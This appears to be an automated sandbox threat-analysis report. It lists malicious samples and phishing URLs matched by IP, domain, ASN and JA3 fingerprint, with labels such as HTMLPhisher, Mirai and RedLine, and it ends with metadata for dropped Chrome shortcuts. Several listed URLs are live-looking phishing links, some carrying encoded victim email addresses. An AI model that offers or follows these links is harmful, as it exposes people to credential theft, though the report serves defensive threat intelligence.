18.66.102.127	https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZTM2MDBmOTU2MjU4MWJhNWIyZDA0ODAzMGI4MzllZGM2ZjkzYmIwZjc2YWQ5ZmQ2MDFhNTpoOlQ6VA#ZWphbWVzQGVuY2luYWNhcGl0YWwuY29t	Get hash	malicious	HTMLPhisher	Browse
	https://pg9t70xx.r.us-east-1.awstrack.me/L0/https:%2F%2Fwww.google.co.nz%2Furl%3Fq=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh%26rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT%26sa=t%26url=amp%252F%2571%2575%2561%256E%2567%256F%2574%252E%2576%256E%252F%2573%2569%2574%2565%256D%2561%2570%2573%252F%23bGhvbHRAY2NmaS5jb20=/1/0100019291a6e48e-5595a4a1-ce31-4dec-b860-4acc284ec053-000000/S6t-HdiDQZ4sLxFHn70OV3ZlAjs=396	Get hash	malicious	HTMLPhisher	Browse
	https://pub-ed7d897b46f94eef8e19264c3144fa78.r2.dev/home.html	Get hash	malicious	HTMLPhisher	Browse
	https://bdvonline-personas-139.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
	http://gdocs.last2003.workers.dev/	Get hash	malicious	HTMLPhisher	Browse
	http://bdvonline-personasv.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
	http://bdvonline-personasv.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
	https://pub-6e60812ea6034887a73a58b17a92a80f.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse
	https://linklock.titanhq.com/analyse?url=https%3A%2F%2Fwww.hudl.com%2Fnotifications-tracking%2Ftracker%2FBulkDownloadReady-6151bba290ef2e043c74df7a-6040b153-3f06-4375-9d9d-2976d6f1ac3e-11012597%2Femail%2Flanding%3Fforward%3Dhttps%3A%2F%2Fwww.google.com.sg%2Furl%3Fq%3Damp%2Fs%2Fhosxxrs.com%2F.drogo&data=eJxkkEGL3CAUgH-NcygY9Gl0hKZ0S2qZwy6l0_vyjCYja3RqEjL99yVLoYfeHu87vO99Q2ccBH2WmipgikqtkBrnJQUX8IxaCuHcyXcfTnP3UWnWniWEhmuGDIA1KI1yjVH-fH3--f3y8vrU91_71-fL9Xp5-fZ5fjRTKVMKzVDmT6eli3ksRLIB73FNAWuOeTrYqXZ-rZiJZG6LyYcJ39dbd1vX-0LEEwFLwO773tw2nw5IwOayxjEOuMaSF7pWHN5ingjY9zFUAvbLlt76sudU0P8I6H9TxVvuHIJhYYTApBi09KNGqphkjreCivFIIXRLjTeegtHKq5HjIALlnHFojSZgw4wxEbAJsz_OCjuWumP1RPT_a_8L0SyH4lYTEfYXET3OdwJ2IWBvZXk86vL3u8bXMpU_AQAA___Ij4KF#ask.gcr@zendesk.com	Get hash	malicious	Unknown	Browse
	Remittance_Regulvar.htm	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
platform.twitter.map.fastly.net	https://www.guidedtrack.com/programs/53o12sc/run	Get hash	malicious	Unknown	Browse	146.75.120.157
	ATTN1.html	Get hash	malicious	Unknown	Browse	199.232.188.157
	https://app.powerbi.com/view?r=eyJrIjoiYjY0ZGMyMmYtYWY5YS00YTMzLTk1ZjktMGUyMjcwMTE1NDY0IiwidCI6IjcwOGY1ZmM3LTc0MjktNDdkMS05Y2ZjLTdkZDhjMjk5NjRlYSJ9	Get hash	malicious	HTMLPhisher	Browse	199.232.188.157
	(No subject) (87).eml	Get hash	malicious	HTMLPhisher	Browse	146.75.120.157
	https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZTM2MDBmOTU2MjU4MWJhNWIyZDA0ODAzMGI4MzllZGM2ZjkzYmIwZjc2YWQ5ZmQ2MDFhNTpoOlQ6VA#ZWphbWVzQGVuY2luYWNhcGl0YWwuY29t	Get hash	malicious	HTMLPhisher	Browse	199.232.188.157
	https://click.pstmrk.it/3s/tldr.tech%2Fconfirmed%3Femail%3Djames.ward%2540gerflor.com%26newsletter%3Dinfosec/pEGE/grO4AQ/AQ/de2d9b1d-a87c-40b3-97e7-314a53573877/2/GfrX-GFLqn	Get hash	malicious	HTMLPhisher	Browse	146.75.52.157
	https://pg9t70xx.r.us-east-1.awstrack.me/L0/https:%2F%2Fwww.google.co.nz%2Furl%3Fq=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh%26rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT%26sa=t%26url=amp%252F%2571%2575%2561%256E%2567%256F%2574%252E%2576%256E%252F%2573%2569%2574%2565%256D%2561%2570%2573%252F%23bGhvbHRAY2NmaS5jb20=/1/0100019291a6e48e-5595a4a1-ce31-4dec-b860-4acc284ec053-000000/S6t-HdiDQZ4sLxFHn70OV3ZlAjs=396	Get hash	malicious	HTMLPhisher	Browse	146.75.52.157
	https://www.mycimalive.com/	Get hash	malicious	Unknown	Browse	199.232.188.157
	https://40rt3am5.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	199.232.188.157
	https://pub-ed7d897b46f94eef8e19264c3144fa78.r2.dev/home.html	Get hash	malicious	HTMLPhisher	Browse	199.232.188.157
static.cloudflareinsights.com	https://www.canva.com/design/DAGT2vOBNY8/p-tSk-DRXUJ7qPwl8mMJiw/view?utm_content=DAGT2vOBNY8&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	104.16.79.73
	https://www.guidedtrack.com/programs/53o12sc/run	Get hash	malicious	Unknown	Browse	104.16.79.73
	https://oplaesa.krtra.com/c/HEacb57dq4Yf/pNyX	Get hash	malicious	Unknown	Browse	104.16.79.73
	https://www.google.com/aclk?sa=L&ai=DChcSEwiT4_zk8I-JAxV3GaIDHa9sMjMYABAAGgJsZQ&co=1&ase=2&gclid=EAIaIQobChMIk-P85PCPiQMVdxmiAx2vbDIzEAAYASAAEgJo_PD_BwE&sig=AOD64_2yX-61DuN5RlloHZ07RHFcOg00sw&adurl=http://instructionhub.net%3Fgad_source%3D2&ms=%5BCLICK_MS%5D&nx=338&ny=49&nb=41&nis=6	Get hash	malicious	WinSearchAbuse	Browse	104.16.80.73
	https://beforeitsnews.com/health/2024/10/the-happier-meditation-app-is-offering-free-1-year-access-99-value-3059722.html	Get hash	malicious	Unknown	Browse	104.16.79.73
	https://beforeitsnews.com/health/2024/10/the-happier-meditation-app-is-offering-free-1-year-access-99-value-3059722.html	Get hash	malicious	Unknown	Browse	104.16.79.73
	https://beforeitsnews.com/health/2024/10/the-happier-meditation-app-is-offering-free-1-year-access-99-value-3059722.html	Get hash	malicious	Unknown	Browse	104.16.79.73
	https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZTM2MDBmOTU2MjU4MWJhNWIyZDA0ODAzMGI4MzllZGM2ZjkzYmIwZjc2YWQ5ZmQ2MDFhNTpoOlQ6VA#ZWphbWVzQGVuY2luYWNhcGl0YWwuY29t	Get hash	malicious	HTMLPhisher	Browse	104.16.80.73
	https://qrco.de/bfTQau	Get hash	malicious	Unknown	Browse	104.16.80.73
	https://pg9t70xx.r.us-east-1.awstrack.me/L0/https:%2F%2Fwww.google.co.nz%2Furl%3Fq=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh%26rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT%26sa=t%26url=amp%252F%2571%2575%2561%256E%2567%256F%2574%252E%2576%256E%252F%2573%2569%2574%2565%256D%2561%2570%2573%252F%23bGhvbHRAY2NmaS5jb20=/1/0100019291a6e48e-5595a4a1-ce31-4dec-b860-4acc284ec053-000000/S6t-HdiDQZ4sLxFHn70OV3ZlAjs=396	Get hash	malicious	HTMLPhisher	Browse	104.16.80.73
bookingadocel.com	bharper@we-worldwide.com.html	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
ot.www.cloudflare.com	https://www.guidedtrack.com/programs/53o12sc/run	Get hash	malicious	Unknown	Browse	104.16.124.96
	https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZTM2MDBmOTU2MjU4MWJhNWIyZDA0ODAzMGI4MzllZGM2ZjkzYmIwZjc2YWQ5ZmQ2MDFhNTpoOlQ6VA#ZWphbWVzQGVuY2luYWNhcGl0YWwuY29t	Get hash	malicious	HTMLPhisher	Browse	104.16.124.96
	https://pg9t70xx.r.us-east-1.awstrack.me/L0/https:%2F%2Fwww.google.co.nz%2Furl%3Fq=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh%26rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT%26sa=t%26url=amp%252F%2571%2575%2561%256E%2567%256F%2574%252E%2576%256E%252F%2573%2569%2574%2565%256D%2561%2570%2573%252F%23bGhvbHRAY2NmaS5jb20=/1/0100019291a6e48e-5595a4a1-ce31-4dec-b860-4acc284ec053-000000/S6t-HdiDQZ4sLxFHn70OV3ZlAjs=396	Get hash	malicious	HTMLPhisher	Browse	104.16.124.96
	https://40rt3am5.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	104.16.123.96
	https://pub-ed7d897b46f94eef8e19264c3144fa78.r2.dev/home.html	Get hash	malicious	HTMLPhisher	Browse	104.16.123.96
	https://bdvonline-personas-139.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	104.16.124.96
	http://gdocs.last2003.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.16.123.96
	https://798-ads.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	104.16.123.96
	http://bdvonline-personasv.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	104.16.123.96
	http://bdvonline-personasv.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	104.16.124.96

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	https://word.worldwidehealthcenter.net/dropbox.com.verify-link-documents.html'	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://www.calameo.com/read/007796280284d258037f6	Get hash	malicious	HTMLPhisher	Browse	151.101.193.194
	https://flyzens.com/osbhdei/#6bmF0aGFsaWUuYmVhdWRpbkBlY29ub21pZS5nb3V2LnFjLmNh	Get hash	malicious	HTMLPhisher	Browse	151.101.129.229
	SecuriteInfo.com.Win64.Malware-gen.1057.9543.exe	Get hash	malicious	Go Injector, RedLine	Browse	185.199.110.133
	#U8a02#U55ae#U63cf#U8ff0.vbs	Get hash	malicious	FormBook	Browse	185.199.110.133
	https://eos.atebasyno.com/Jed4ZO4/#Kinfo@pickprotection.com	Get hash	malicious	Unknown	Browse	151.101.194.137
	Document.html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	Z2tJveQl3B.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	picturewithgirlsloveoneverydayhii.hta	Get hash	malicious	Cobalt Strike	Browse	185.199.111.133
	https://share.nuclino.com/p/Mlanie-BAUDRY-PARTAGER-UN-FICHIER-POUR-RVISION-4ogXl9spWg3RaCX5e3wD3b	Get hash	malicious	Unknown	Browse	151.101.194.137
OMNITUREUS	https://www.guidedtrack.com/programs/53o12sc/run	Get hash	malicious	Unknown	Browse	63.140.62.27
	https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZTM2MDBmOTU2MjU4MWJhNWIyZDA0ODAzMGI4MzllZGM2ZjkzYmIwZjc2YWQ5ZmQ2MDFhNTpoOlQ6VA#ZWphbWVzQGVuY2luYWNhcGl0YWwuY29t	Get hash	malicious	HTMLPhisher	Browse	63.140.62.27
	https://pg9t70xx.r.us-east-1.awstrack.me/L0/https:%2F%2Fwww.google.co.nz%2Furl%3Fq=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh%26rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT%26sa=t%26url=amp%252F%2571%2575%2561%256E%2567%256F%2574%252E%2576%256E%252F%2573%2569%2574%2565%256D%2561%2570%2573%252F%23bGhvbHRAY2NmaS5jb20=/1/0100019291a6e48e-5595a4a1-ce31-4dec-b860-4acc284ec053-000000/S6t-HdiDQZ4sLxFHn70OV3ZlAjs=396	Get hash	malicious	HTMLPhisher	Browse	63.140.62.27
	https://jobs.sap.com/job/Hamburg-Virtual-Customer-Success-Partner-%28fmd%29-SAP-Signavio-%28German-speaker%29-20148/1114878901/	Get hash	malicious	Unknown	Browse	63.140.62.27
	https://jobs.sap.com/job/Walldorf-Partner-Engagement-Senior-Specialist-Expert-SAP-Signavio-%28mfd%29-%28limited-for-1-year%29-69190/1114958501/	Get hash	malicious	Unknown	Browse	63.140.62.27
	https://jobs.sap.com/job/Walldorf-SAP-Ariba-Technology-Consultant-EMEA-ISBN-Technology-Services-%28Location-Germany%29-69190/1110452901/	Get hash	malicious	Unknown	Browse	63.140.62.27
	https://jobs.sap.com/job/Walldorf-Technical-Project-Manager-%28fmd%29-69190/1108826801/	Get hash	malicious	Unknown	Browse	63.140.62.27
	https://mcafeeinc-mkt-prod2-t.adobe-campaign.com/r/?id=hf505ba5a,7e223f22,7e22536b&e=cDE9JmFmZmlkPTAmY3VsdHVyZT1FTi1VUyZ0az1OUEdkMGVLcjd3SG1jVnF2cHQ2RFpYY3FIbHZlc3lGV1hZN3R5a0ZDTGJWX210NUlTX09UaTEwa291MG15NkZqMCZ0cD02NSZhdD14dXVlczNIRXpPbk45bE5wZzFoMnlFSEpTNnlSSnQxMk4xSzA3N2pHR083QTRYdVdQTzNlNXZmLVdKcUFQQzZYMCZwMj0wMjQvXzAgX29sX2lzX1NlbmRMaW5rX0tleUNhcmRfRE0zMzY4MDkwJnAzPURNMzM2ODA5MA&s=JTMn_G5VW0V9WjEy6_Fw8uIaCQd67lmwdVLQnjaD0bA	Get hash	malicious	Unknown	Browse	63.140.62.27
	https://finaltestwebsite.duckdns.org/UpdateVerifyPrss!/Scotiabank/index.php	Get hash	malicious	HTMLPhisher	Browse	63.140.62.27
	https://40rt3am5.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	192.28.144.124
OMNITUREUS	https://www.guidedtrack.com/programs/53o12sc/run	Get hash	malicious	Unknown	Browse	63.140.62.27
	https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZTM2MDBmOTU2MjU4MWJhNWIyZDA0ODAzMGI4MzllZGM2ZjkzYmIwZjc2YWQ5ZmQ2MDFhNTpoOlQ6VA#ZWphbWVzQGVuY2luYWNhcGl0YWwuY29t	Get hash	malicious	HTMLPhisher	Browse	63.140.62.27
	https://pg9t70xx.r.us-east-1.awstrack.me/L0/https:%2F%2Fwww.google.co.nz%2Furl%3Fq=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh%26rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT%26sa=t%26url=amp%252F%2571%2575%2561%256E%2567%256F%2574%252E%2576%256E%252F%2573%2569%2574%2565%256D%2561%2570%2573%252F%23bGhvbHRAY2NmaS5jb20=/1/0100019291a6e48e-5595a4a1-ce31-4dec-b860-4acc284ec053-000000/S6t-HdiDQZ4sLxFHn70OV3ZlAjs=396	Get hash	malicious	HTMLPhisher	Browse	63.140.62.27
	https://jobs.sap.com/job/Hamburg-Virtual-Customer-Success-Partner-%28fmd%29-SAP-Signavio-%28German-speaker%29-20148/1114878901/	Get hash	malicious	Unknown	Browse	63.140.62.27
	https://jobs.sap.com/job/Walldorf-Partner-Engagement-Senior-Specialist-Expert-SAP-Signavio-%28mfd%29-%28limited-for-1-year%29-69190/1114958501/	Get hash	malicious	Unknown	Browse	63.140.62.27
	https://jobs.sap.com/job/Walldorf-SAP-Ariba-Technology-Consultant-EMEA-ISBN-Technology-Services-%28Location-Germany%29-69190/1110452901/	Get hash	malicious	Unknown	Browse	63.140.62.27
	https://jobs.sap.com/job/Walldorf-Technical-Project-Manager-%28fmd%29-69190/1108826801/	Get hash	malicious	Unknown	Browse	63.140.62.27
	https://mcafeeinc-mkt-prod2-t.adobe-campaign.com/r/?id=hf505ba5a,7e223f22,7e22536b&e=cDE9JmFmZmlkPTAmY3VsdHVyZT1FTi1VUyZ0az1OUEdkMGVLcjd3SG1jVnF2cHQ2RFpYY3FIbHZlc3lGV1hZN3R5a0ZDTGJWX210NUlTX09UaTEwa291MG15NkZqMCZ0cD02NSZhdD14dXVlczNIRXpPbk45bE5wZzFoMnlFSEpTNnlSSnQxMk4xSzA3N2pHR083QTRYdVdQTzNlNXZmLVdKcUFQQzZYMCZwMj0wMjQvXzAgX29sX2lzX1NlbmRMaW5rX0tleUNhcmRfRE0zMzY4MDkwJnAzPURNMzM2ODA5MA&s=JTMn_G5VW0V9WjEy6_Fw8uIaCQd67lmwdVLQnjaD0bA	Get hash	malicious	Unknown	Browse	63.140.62.27
	https://finaltestwebsite.duckdns.org/UpdateVerifyPrss!/Scotiabank/index.php	Get hash	malicious	HTMLPhisher	Browse	63.140.62.27
	https://40rt3am5.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	192.28.144.124
MIT-GATEWAYSUS	https://www.canva.com/design/DAGT2vOBNY8/p-tSk-DRXUJ7qPwl8mMJiw/view?utm_content=DAGT2vOBNY8&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	18.66.102.115
	https://docsend.com/view/63jvhxyyj7pwxerg	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.173.205.62
	ea12a39b.eml	Get hash	malicious	Unknown	Browse	18.172.103.101
	mirai.mpsl.elf	Get hash	malicious	Mirai	Browse	19.137.73.133
	mirai.ppc.elf	Get hash	malicious	Mirai	Browse	18.56.189.70
	mirai.spc.elf	Get hash	malicious	Mirai	Browse	19.132.201.62
	https://www.guidedtrack.com/programs/53o12sc/run	Get hash	malicious	Unknown	Browse	18.66.102.98
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	18.65.39.31
	ddsfsfsa.pdf	Get hash	malicious	Unknown	Browse	18.66.122.43
	phishtest.html	Get hash	malicious	Unknown	Browse	18.65.39.98

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	SecuriteInfo.com.Win64.Malware-gen.32485.11504.exe	Get hash	malicious	Python Stealer, Braodo	Browse	23.206.229.226
	Full-Report-RichardP-EBI-Consulting-11-16-2023.html	Get hash	malicious	Unknown	Browse	23.206.229.226
	https://eos.atebasyno.com/Jed4ZO4/#Kinfo@pickprotection.com	Get hash	malicious	Unknown	Browse	23.206.229.226
	http://yesdarlings.com	Get hash	malicious	Unknown	Browse	23.206.229.226
	https://flipboard.com/redirect?url=https%3A%2F%2Finsidernewz.com%2Flocate-the-ultimate-gourmet-gift-for-halloween-food-enthusiast%2F%3Futm_source%3Dflipboard%26utm_content%3Dmanofmanytastes%252Fmagazine%252FFlipboard%2BMagazine&v=J84-JSir7a1wsGKxFv--frKQTAR4j1FyPVnSw8xfM1sAAAGSmcHjcQ	Get hash	malicious	Unknown	Browse	23.206.229.226
	https://asiansantai.com/	Get hash	malicious	HTMLPhisher	Browse	23.206.229.226
	https://newsletter.yuppiechef.com/m/b22fbc43-5c9b-4512-8142-73d63b4fca71/ed8a7a2a-af07-4e9a-b6ac-66041aa91f60/0?url=https://deevapayon.com/wp-admin/includes/redirect#bWFyay5sZXdpc0Bsb2dpY2FsaXMuY29t?	Get hash	malicious	HTMLPhisher	Browse	23.206.229.226
	https://cnn.compromisedblog.com/XSTc5bEY5TVlBdTVyb1pVN0hFNzRzNW9PLzZnLzZxbzBqeUt5RTBtTFUzNjczOGNsMlB3NURuWjF2cStpdXN2ZmYzWUI3TVZGWWtqcFlEem9nNlUvTHJCeEZ0VTZ2SzFDN2dEd2Zxb0FUOHFmUHR3UjJZMURHOEhveUd6TThqUnhvTVhpbURLMndDemhZY3FteFBZKzZwWmpMV2x3aUJWdzRGZG5IdkdIRnhoTmRTdnZlNE1IUHBCZTdnPT0tLXNnRktmT2VjaXgyVExmS1MtLTFRRWd4cnRWcS9ZQzljNE53S2tBdEE9PQ==?cid=2231760484%3E%20%5Bhttps://cnn.compromisedblog.com/XYmtrY2hhSzZlK09tNXhxSGoxMW1vSjFJdDVrN1N5eUxwQW9WcG9uL2V0NVRyUDhZenRQUWFpcUVhREJWVDV2Uk1FOVZEejMyN0llRU5WRHVvU2Z3eTAyY1NaLzNyS2VCaWdHcWJrRXFWUGdGNVpHbU9ZTUllQT09LS0wQmJWUGFlMUwwMDlHQjJhLS1rbmRxUmNwNVFZSHg3ajFPRVR2Z2dBPT0=?cid=2231760484	Get hash	malicious	HTMLPhisher	Browse	23.206.229.226
	https://myabd.co.uk/main/arull.php?7088797967704b53693230746376534d744a54552f5654556f745373777631697371316263494d676b7831516341example.test@test.com	Get hash	malicious	Unknown	Browse	23.206.229.226
	https://dropepweg.pages.dev/?e=nhurn@catsimulators.com	Get hash	malicious	HTMLPhisher	Browse	23.206.229.226
28a2c9bd18a11de089ef85a160da29e4	SecuriteInfo.com.Win64.Malware-gen.32485.11504.exe	Get hash	malicious	Python Stealer, Braodo	Browse	184.28.90.27 20.12.23.50
	https://word.worldwidehealthcenter.net/dropbox.com.verify-link-documents.html'	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 20.12.23.50
	https://app.adjust.com/mr11ui?fallback=https://abcshopbd.com/#amVmZi5kaXhvbiRhdXN0YWx1c2EuY29t	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 20.12.23.50
	https://flyzens.com/osbhdei/#6bmF0aGFsaWUuYmVhdWRpbkBlY29ub21pZS5nb3V2LnFjLmNh	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 20.12.23.50
	https://www.cognitoforms.com/f/Bj0I4KTKbkCO-wVp9VSRWQ/1	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	184.28.90.27 20.12.23.50
	https://www.canva.com/design/DAGT2vOBNY8/p-tSk-DRXUJ7qPwl8mMJiw/view?utm_content=DAGT2vOBNY8&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	184.28.90.27 20.12.23.50
	https://docsend.com/view/63jvhxyyj7pwxerg	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	184.28.90.27 20.12.23.50
	Full-Report-RichardP-EBI-Consulting-11-16-2023.html	Get hash	malicious	Unknown	Browse	184.28.90.27 20.12.23.50
	PO-1018202416777 PNG2023-W101.xls	Get hash	malicious	Unknown	Browse	184.28.90.27 20.12.23.50
	https://eos.atebasyno.com/Jed4ZO4/#Kinfo@pickprotection.com	Get hash	malicious	Unknown	Browse	184.28.90.27 20.12.23.50

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 18 12:47:41 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9744373906635695
Encrypted:	false
SSDEEP:	48:860dKfTq3wfkHDidAKZdA1oehwiZUklqehTy+3:867f2Udgy
MD5:	840C7945F789F9DB3C1D712CA87C093F
SHA1:	EE9CE5063181ACB91A2B40C77D0721CC815157EF
SHA-256:	01CBA12141F0DFECC02C49D01A55AB953A4408FCFD0BAE3C6D9C1055C0FA8DFF
SHA-512:	D290DC5875803F33896B321FE89F2259B78C117D8703F4DF67EBD926420843FB301BE6ECF261B990EC40752FDA2C5785B461070C4A0031CB9AB1F5232C256DF4
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....R.zMd!..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IRY.m....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VRY.m....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VRY.m....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VRY.m..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VRY.m...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............E.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 18 12:47:41 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9847214194970544
Encrypted:	false
SSDEEP:	48:8T0dKfTq3wfkHDidAKZdA1leh/iZUkAQkqehQy+2:8T7f2U39Q5y
MD5:	29F2DA6BFF194C20B037B0DDE35645A5
SHA1:	41D37BBE2F56777655C9A8CE0A5772266AE908EF
SHA-256:	EE3AA7A6573BDB1C3F180CD35D64EB6B860212ED405401B725AA16F9BE35318B
SHA-512:	30DBC472BFA773CB0B6B121142FF285216D4F993E0277A56074C0C35759812FBE26D623B96C981E09CAE5A401B1FF2A4914B73557F4D9876EBC6BF86881D6597
Malicious:	false
Reputation:	low
